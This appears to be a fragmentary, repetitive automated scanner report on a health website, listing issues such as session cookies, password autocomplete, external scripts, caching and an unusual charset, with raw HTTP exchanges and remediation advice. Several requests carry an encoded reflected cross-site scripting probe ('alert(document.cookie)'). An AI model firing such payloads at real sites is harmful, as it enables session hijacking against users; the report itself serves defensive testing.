The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /healthpage/mesenteric-artery-superior/x22 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:14 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=9F34732D8235772FEB1979F717B34FC3; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 37663
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspan HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:14 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=3AC0FF366C48777CC40E1B02AA20AEFC; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 31410
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /healthpage/mesenteric-artery-superior6dda4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0013acc838a/x22 HTTP/1.1 Host: www.healthcaremagic.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/jsp/common/loginajax.jsp?d=1294229741311 HTTP/1.1 Host: www.healthcaremagic.com Connection: keep-alive Referer: https://www.healthcaremagic.com/healthpage/mesenteric-artery-superior6dda4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0013acc838a/x22 Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=38225A642A4CB7B1908C13092050B989
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /healthpage/mesenteric-artery-superior/x22 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:14 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=9F34732D8235772FEB1979F717B34FC3; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 37663
GET /healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspan HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:14 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=3AC0FF366C48777CC40E1B02AA20AEFC; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 31410
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
GET /healthpage/mesenteric-artery-superior/x22 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:14 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=9F34732D8235772FEB1979F717B34FC3; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 37663
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]...
GET /healthpage/mesenteric-artery-superior/x3c/cite/x3e/x3cspan HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:14 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=3AC0FF366C48777CC40E1B02AA20AEFC; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 31410
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Applications may specify a non-standard character set as a result of typographical errors within the code base, or because of intentional usage of an unusual character set that is not universally recognised by browsers. If the browser does not recognise the character set specified by the application, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directives were specified:
UTF-8
utf8
Request
GET /healthpage/mesenteric-artery-superior/x22 HTTP/1.1 Host: www.healthcaremagic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 03:52:14 GMT Server: Apache/2.2.8 (Ubuntu) mod_jk/1.2.25 PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Set-Cookie: JSESSIONID=9F34732D8235772FEB1979F717B34FC3; Path=/; Secure Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 37663
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tra ...[SNIP]... <head> <meta http-equiv="Content-Type" content="text/html; charset=utf8"/> <title> ...[SNIP]...
The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directives were specified:
UTF-8
utf8
Request
GET /healthpage/mesenteric-artery-superior6dda4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0013acc838a/x22 HTTP/1.1 Host: www.healthcaremagic.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3